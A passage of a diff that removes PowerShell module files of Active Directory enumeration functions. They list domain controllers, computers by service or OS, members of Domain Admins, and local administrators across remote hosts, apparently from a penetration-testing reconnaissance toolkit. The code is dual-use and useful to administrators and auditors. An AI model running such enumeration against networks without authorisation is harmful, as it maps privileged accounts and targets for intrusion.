Tests RPC connectivity to the WINDOWS7 server.
|
||||
|
||||
.LINK
|
||||
http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline=$true)]
|
||||
[String]
|
||||
$Server,
|
||||
|
||||
[Switch]
|
||||
$RPC
|
||||
)
|
||||
|
||||
process {
|
||||
if ($RPC){
|
||||
$WMIParameters = @{
|
||||
namespace = 'root\cimv2'
|
||||
Class = 'win32_ComputerSystem'
|
||||
ComputerName = $Name
|
||||
ErrorAction = 'Stop'
|
||||
}
|
||||
if ($Credential -ne $null)
|
||||
{
|
||||
$WMIParameters.Credential = $Credential
|
||||
}
|
||||
try
|
||||
{
|
||||
Get-WmiObject @WMIParameters
|
||||
}
|
||||
catch {
|
||||
Write-Verbose -Message 'Could not connect via WMI'
|
||||
}
|
||||
}
|
||||
# otherwise, use ping
|
||||
else{
|
||||
Test-Connection -ComputerName $Server -count 1 -Quiet
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomainController {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return the current domain controllers for the active domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for domain controllers. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController
|
||||
Returns the domain controllers for the current computer's domain.
|
||||
Approximately equivialent to the hostname given in the LOGONSERVER
|
||||
environment variable.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController -Domain test
|
||||
Returns the domain controllers for the domain "test".
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.DomainControllers
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
function Get-NetComputer {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets an array of all current computers objects in a domain.
|
||||
|
||||
.DESCRIPTION
|
||||
This function utilizes adsisearcher to query the current AD context
|
||||
for current computer objects. Based off of Carlos Perez's Audit.psm1
|
||||
script in Posh-SecMod (link below).
|
||||
|
||||
.PARAMETER HostName
|
||||
Return computers with a specific name, wildcards accepted.
|
||||
|
||||
.PARAMETER SPN
|
||||
Return computers with a specific service principal name, wildcards accepted.
|
||||
|
||||
.PARAMETER OperatingSystem
|
||||
Return computers with a specific operating system, wildcards accepted.
|
||||
|
||||
.PARAMETER ServicePack
|
||||
Return computers with a specific service pack, wildcards accepted.
|
||||
|
||||
.PARAMETER Ping
|
||||
Ping each host to ensure it's up before enumerating.
|
||||
|
||||
.PARAMETER FullData
|
||||
Return full user computer objects instead of just system names (the default).
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for computers.
|
||||
|
||||
.OUTPUTS
|
||||
System.Array. An array of found system objects.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetComputer
|
||||
Returns the current computers in current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetComputer -SPN mssql*
|
||||
Returns all MS SQL servers on the domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetComputer -Domain testing
|
||||
Returns the current computers in 'testing' domain.
|
||||
|
||||
> Get-NetComputer -Domain testing -FullData
|
||||
Returns full computer objects in the 'testing' domain.
|
||||
|
||||
.LINK
|
||||
https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$HostName = '*',
|
||||
|
||||
[string]
|
||||
$SPN = '*',
|
||||
|
||||
[string]
|
||||
$OperatingSystem = '*',
|
||||
|
||||
[string]
|
||||
$ServicePack = '*',
|
||||
|
||||
[Switch]
|
||||
$Ping,
|
||||
|
||||
[Switch]
|
||||
$FullData,
|
||||
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
process {
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainController))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if($PrimaryDC){
|
||||
$CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise try to connect to the DC for the target domain
|
||||
$CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
|
||||
# create the searcher object with our specific filters
|
||||
if ($ServicePack -ne '*'){
|
||||
$CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
else{
|
||||
# server 2012 peculiarity- remove any mention to service pack
|
||||
$CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
}
|
||||
}
|
||||
else{
|
||||
# otherwise, use the current domain
|
||||
if ($ServicePack -ne '*'){
|
||||
$CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
else{
|
||||
# server 2012 peculiarity- remove any mention to service pack
|
||||
$CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))"
|
||||
}
|
||||
}
|
||||
|
||||
if ($CompSearcher){
|
||||
|
||||
# eliminate that pesky 1000 system limit
|
||||
$CompSearcher.PageSize = 200
|
||||
|
||||
$CompSearcher.FindAll() | ? {$_} | ForEach-Object {
|
||||
$up = $true
|
||||
if($Ping){
|
||||
$up = Test-Server -Server $_.properties.dnshostname
|
||||
}
|
||||
if($up){
|
||||
# return full data objects
|
||||
if ($FullData){
|
||||
$properties = $_.Properties
|
||||
$out = New-Object psobject
|
||||
|
||||
$properties.PropertyNames | % {
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){
|
||||
$out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0])))
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
}
|
||||
$out | Out-String
|
||||
}
|
||||
else{
|
||||
# otherwise we're just returning the DNS host name
|
||||
$_.properties.dnshostname + "`n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -1,526 +0,0 @@
|
|||
|
||||
function Convert-SidToName {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a security identifier (SID) to a group/user name.
|
||||
|
||||
.PARAMETER SID
|
||||
The SID to convert.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
|
||||
[String]
|
||||
$SID
|
||||
)
|
||||
|
||||
process {
|
||||
try {
|
||||
$obj = (New-Object System.Security.Principal.SecurityIdentifier($SID))
|
||||
$obj.Translate( [System.Security.Principal.NTAccount]).Value
|
||||
}
|
||||
catch {
|
||||
Write-Warning "invalid SID"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetGroup {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets a list of all current users in a specified domain group.
|
||||
|
||||
.DESCRIPTION
|
||||
This function users [ADSI] and LDAP to query the current AD context
|
||||
or trusted domain for users in a specified group. If no GroupName is
|
||||
specified, it defaults to querying the "Domain Admins" group.
|
||||
This is a replacement for "net group 'name' /domain"
|
||||
|
||||
.PARAMETER GroupName
|
||||
The group name to query for users. If not given, it defaults to "Domain Admins"
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for group users.
|
||||
|
||||
.PARAMETER FullData
|
||||
Switch. Returns full data objects instead of just group/users.
|
||||
|
||||
.PARAMETER Recurse
|
||||
Switch. If the group member is a group, recursively try to query its members as well.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetGroup
|
||||
Returns the usernames that of members of the "Domain Admins" domain group.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetGroup -Domain testing -GroupName "Power Users"
|
||||
Returns the usernames that of members of the "Power Users" group
|
||||
in the 'testing' domain.
|
||||
|
||||
.LINK
|
||||
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$true)]
|
||||
[string]
|
||||
$GroupName = 'Domain Admins',
|
||||
|
||||
[Switch]
|
||||
$FullData,
|
||||
|
||||
[Switch]
|
||||
$Recurse,
|
||||
|
||||
[string]
|
||||
$Domain,
|
||||
|
||||
[string]
|
||||
$PrimaryDC
|
||||
)
|
||||
|
||||
process {
|
||||
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
# reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx
|
||||
|
||||
$dn = "DC=$($Domain.Replace('.', ',DC='))"
|
||||
|
||||
# if we could grab the primary DC for the current domain, use that for the query
|
||||
if($PrimaryDC){
|
||||
$GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn")
|
||||
}
|
||||
else{
|
||||
# otherwise try to connect to the DC for the target domain
|
||||
$GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn")
|
||||
}
|
||||
# samAccountType=805306368 indicates user objects
|
||||
$GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))"
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
}
|
||||
}
|
||||
else{
|
||||
$Domain = (Get-NetDomain).Name
|
||||
|
||||
# otherwise, use the current domain
|
||||
$GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))"
|
||||
}
|
||||
|
||||
if ($GroupSearcher){
|
||||
$GroupSearcher.PageSize = 200
|
||||
$GroupSearcher.FindAll() | % {
|
||||
try{
|
||||
$GroupFoundName = $_.properties.name[0]
|
||||
$_.properties.member | ForEach-Object {
|
||||
# for each user/member, do a quick adsi object grab
|
||||
if ($PrimaryDC){
|
||||
$properties = ([adsi]"LDAP://$PrimaryDC/$_").Properties
|
||||
}
|
||||
else {
|
||||
$properties = ([adsi]"LDAP://$_").Properties
|
||||
}
|
||||
|
||||
# check if the result is a user account- if not assume it's a group
|
||||
if ($properties.samAccountType -ne "805306368"){
|
||||
$isGroup = $True
|
||||
}
|
||||
else{
|
||||
$isGroup = $False
|
||||
}
|
||||
|
||||
$out = New-Object psobject
|
||||
$out | add-member Noteproperty 'GroupDomain' $Domain
|
||||
$out | Add-Member Noteproperty 'GroupName' $GroupFoundName
|
||||
|
||||
if ($FullData){
|
||||
$properties.PropertyNames | % {
|
||||
# TODO: errors on cross-domain users?
|
||||
if ($_ -eq "objectsid"){
|
||||
# convert the SID to a string
|
||||
$out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value)
|
||||
}
|
||||
elseif($_ -eq "objectguid"){
|
||||
# convert the GUID to a string
|
||||
$out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid
|
||||
}
|
||||
else {
|
||||
if ($properties[$_].count -eq 1) {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$out | Add-Member Noteproperty $_ $properties[$_]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
$MemberDN = $properties.distinguishedName[0]
|
||||
# extract the FQDN from the Distinguished Name
|
||||
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
|
||||
|
||||
if ($properties.samAccountType -ne "805306368"){
|
||||
$isGroup = $True
|
||||
}
|
||||
else{
|
||||
$isGroup = $False
|
||||
}
|
||||
|
||||
if ($properties.samAccountName){
|
||||
# forest users have the samAccountName set
|
||||
$MemberName = $properties.samAccountName[0]
|
||||
}
|
||||
else {
|
||||
# external trust users have a SID, so convert it
|
||||
try {
|
||||
$MemberName = Convert-SidToName $properties.cn[0]
|
||||
}
|
||||
catch {
|
||||
# if there's a problem contacting the domain to resolve the SID
|
||||
$MemberName = $properties.cn
|
||||
}
|
||||
}
|
||||
$out | add-member Noteproperty 'MemberDomain' $MemberDomain
|
||||
$out | add-member Noteproperty 'MemberName' $MemberName
|
||||
$out | add-member Noteproperty 'IsGroup' $IsGroup
|
||||
$out | add-member Noteproperty 'MemberDN' $MemberDN
|
||||
}
|
||||
|
||||
$out
|
||||
|
||||
if($Recurse) {
|
||||
# if we're recursiving and the returned value isn't a user account, assume it's a group
|
||||
if($IsGroup){
|
||||
if($FullData){
|
||||
Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -FullData -Recurse -GroupName $properties.SamAccountName[0]
|
||||
}
|
||||
else {
|
||||
Get-NetGroup -Domain $Domain -PrimaryDC $PrimaryDC -Recurse -GroupName $properties.SamAccountName[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
write-verbose $_
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Convert-SidToName {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a security identifier (SID) to a group/user name.
|
||||
|
||||
.PARAMETER SID
|
||||
The SID to convert.
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
|
||||
[String]
|
||||
$SID
|
||||
)
|
||||
|
||||
process {
|
||||
try {
|
||||
$obj = (New-Object System.Security.Principal.SecurityIdentifier($SID))
|
||||
$obj.Translate( [System.Security.Principal.NTAccount]).Value
|
||||
}
|
||||
catch {
|
||||
Write-Warning "invalid SID"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Translate-NT4Name {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Converts a user/group NT4 name (i.e. dev/john) to canonical format.
|
||||
Based on Bill Stewart's code from this article:
|
||||
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
|
||||
|
||||
.PARAMETER DomainObject
|
||||
The user/groupname to convert
|
||||
|
||||
.PARAMETER DomainObject
|
||||
The user/groupname to convert
|
||||
|
||||
.LINK
|
||||
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String] $DomainObject,
|
||||
[String] $Domain
|
||||
)
|
||||
|
||||
if (-not $Domain) {
|
||||
$domain = (Get-NetDomain).name
|
||||
}
|
||||
|
||||
$DomainObject = $DomainObject -replace "/","\"
|
||||
|
||||
# Accessor functions to simplify calls to NameTranslate
|
||||
function Invoke-Method([__ComObject] $object, [String] $method, $parameters) {
|
||||
$output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters)
|
||||
if ( $output ) { $output }
|
||||
}
|
||||
function Set-Property([__ComObject] $object, [String] $property, $parameters) {
|
||||
[Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters)
|
||||
}
|
||||
|
||||
$Translate = new-object -comobject NameTranslate
|
||||
|
||||
try {
|
||||
Invoke-Method $Translate "Init" (1, $Domain)
|
||||
}
|
||||
catch [System.Management.Automation.MethodInvocationException] { }
|
||||
|
||||
Set-Property $Translate "ChaseReferral" (0x60)
|
||||
|
||||
try {
|
||||
Invoke-Method $Translate "Set" (3, $DomainObject)
|
||||
(Invoke-Method $Translate "Get" (2))
|
||||
}
|
||||
catch [System.Management.Automation.MethodInvocationException] { }
|
||||
}
|
||||
|
||||
function Get-NetLocalGroup {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets a list of all current users in a specified local group.
|
||||
|
||||
.PARAMETER HostName
|
||||
The hostname or IP to query for local group users.
|
||||
|
||||
.PARAMETER HostList
|
||||
List of hostnames/IPs to query for local group users.
|
||||
|
||||
.PARAMETER GroupName
|
||||
The local group name to query for users. If not given, it defaults to "Administrators"
|
||||
|
||||
.PARAMETER Recurse
|
||||
Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetLocalGroup
|
||||
Returns the usernames that of members of localgroup "Administrators" on the local host.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetLocalGroup -HostName WINDOWSXP
|
||||
Returns all the local administrator accounts for WINDOWSXP
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetLocalGroup -HostName WINDOWS7 -Resurse
|
||||
Returns all effective local/domain users/groups that can access WINDOWS7 with
|
||||
local administrative privileges.
|
||||
|
||||
.LINK
|
||||
http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
|
||||
http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$HostName = 'localhost',
|
||||
|
||||
[string]
|
||||
$HostList,
|
||||
|
||||
[string]
|
||||
$GroupName,
|
||||
|
||||
[switch]
|
||||
$Recurse
|
||||
)
|
||||
|
||||
process {
|
||||
|
||||
$Servers = @()
|
||||
|
||||
# if we have a host list passed, grab it
|
||||
if($HostList){
|
||||
if (Test-Path -Path $HostList){
|
||||
$Servers = Get-Content -Path $HostList
|
||||
}
|
||||
else{
|
||||
Write-Warning "[!] Input file '$HostList' doesn't exist!"
|
||||
$null
|
||||
}
|
||||
}
|
||||
else{
|
||||
# otherwise assume a single host name
|
||||
$Servers += $HostName
|
||||
}
|
||||
|
||||
if (-not $GroupName){
|
||||
# resolve the SID for the local admin group - this should usually default to "Administrators"
|
||||
$objSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544')
|
||||
$objgroup = $objSID.Translate( [System.Security.Principal.NTAccount])
|
||||
$GroupName = ($objgroup.Value).Split('\')[1]
|
||||
}
|
||||
|
||||
# query the specified group using the WINNT provider, and
|
||||
# extract fields as appropriate from the results
|
||||
foreach($Server in $Servers)
|
||||
{
|
||||
try{
|
||||
$members = @($([ADSI]"WinNT://$server/$groupname").psbase.Invoke('Members'))
|
||||
$members | ForEach-Object {
|
||||
$out = New-Object psobject
|
||||
$out | Add-Member Noteproperty 'Server' $Server
|
||||
|
||||
$AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $null, $_, $null)).Replace('WinNT://', '')
|
||||
|
||||
# try to translate the NT4 domain to a FQDN if possible
|
||||
$name = Translate-NT4Name $AdsPath
|
||||
if($name) {
|
||||
$fqdn = $name.split("/")[0]
|
||||
$objName = $AdsPath.split("/")[-1]
|
||||
$name = "$fqdn/$objName"
|
||||
$IsDomain = $True
|
||||
}
|
||||
else {
|
||||
$name = $AdsPath
|
||||
$IsDomain = $False
|
||||
}
|
||||
|
||||
$out | Add-Member Noteproperty 'AccountName' $name
|
||||
|
||||
# translate the binary sid to a string
|
||||
$out | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $null, $_, $null),0)).Value)
|
||||
|
||||
# if the account is local, check if it's disabled, if it's domain, always print $false
|
||||
# TODO: fix this error?
|
||||
$out | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $null, $_, $null) } catch { 'ERROR' } } else { $False } )
|
||||
|
||||
# check if the member is a group
|
||||
$IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group')
|
||||
$out | Add-Member Noteproperty 'IsGroup' $IsGroup
|
||||
$out | Add-Member Noteproperty 'IsDomain' $IsDomain
|
||||
if($IsGroup){
|
||||
$out | Add-Member Noteproperty 'LastLogin' ""
|
||||
}
|
||||
else{
|
||||
try {
|
||||
$out | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $null, $_, $null))
|
||||
}
|
||||
catch {
|
||||
$out | Add-Member Noteproperty 'LastLogin' ""
|
||||
}
|
||||
}
|
||||
$out
|
||||
|
||||
# if the result is a group domain object and we're recursing,
|
||||
# try to resolve all the group member results
|
||||
if($Recurse -and $IsDomain -and $IsGroup){
|
||||
Write-Verbose "recurse!"
|
||||
$FQDN = $name.split("/")[0]
|
||||
$GroupName = $name.split("/")[1]
|
||||
Get-NetGroup $GroupName -FullData -Recurse | % {
|
||||
$out = New-Object psobject
|
||||
$out | Add-Member Noteproperty 'Server' $name
|
||||
|
||||
$MemberDN = $_.distinguishedName
|
||||
# extract the FQDN from the Distinguished Name
|
||||
$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
|
||||
|
||||
if ($_.samAccountType -ne "805306368"){
|
||||
$MemberIsGroup = $True
|
||||
}
|
||||
else{
|
||||
$MemberIsGroup = $False
|
||||
}
|
||||
|
||||
if ($_.samAccountName){
|
||||
# forest users have the samAccountName set
|
||||
$MemberName = $_.samAccountName
|
||||
}
|
||||
else {
|
||||
# external trust users have a SID, so convert it
|
||||
try {
|
||||
$MemberName = Convert-SidToName $_.cn
|
||||
}
|
||||
catch {
|
||||
# if there's a problem contacting the domain to resolve the SID
|
||||
$MemberName = $_.cn
|
||||
}
|
||||
}
|
||||
|
||||
$out | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
|
||||
$out | Add-Member Noteproperty 'SID' $_.objectsid
|
||||
$out | Add-Member Noteproperty 'Disabled' $False
|
||||
$out | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
|
||||
$out | Add-Member Noteproperty 'IsDomain' $True
|
||||
$out | Add-Member Noteproperty 'LastLogin' ''
|
||||
$out
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[!] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,247 +0,0 @@
|
|||
|
||||
function Get-NetDomainController {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return the current domain controllers for the active domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for domain controllers. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController
|
||||
Returns the domain controllers for the current computer's domain.
|
||||
Approximately equivialent to the hostname given in the LOGONSERVER
|
||||
environment variable.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController -Domain test
|
||||
Returns the domain controllers for the domain "test".
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.DomainControllers
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetUser {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Query information for a given user or users in the domain.
|
||||
|
||||
.DESCRIPTION
|
||||
This function users [ADSI] and LDAP to query the current
|
||||
domain for all users. Another domain can be specified to
|
||||
query for users across a trust.
|
||||
This is a replacement for "net users /domain"
|
||||
|
||||
.PARAMETER UserName
|
||||
Username filter string, wildcards accepted.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for users. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.PARAMETER OU
|
||||
The OU to pull users from.
|
||||
|
||||
.PARAMETER Filter
|
||||
The complete LDAP query string to use to query for users.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetUser
|
||||
Returns the member users of the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetUser -Domain testing
|
||||
Returns all the members in the "testing" domain.
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$UserName,
|
||||
|
||||
[string]
|
||||
$OU,
|
||||
|
||||
[string]
|
||||
$Filter,
|
||||
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
process {
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainController))[0].Name
|
||||
}
|
||||
catch{
|
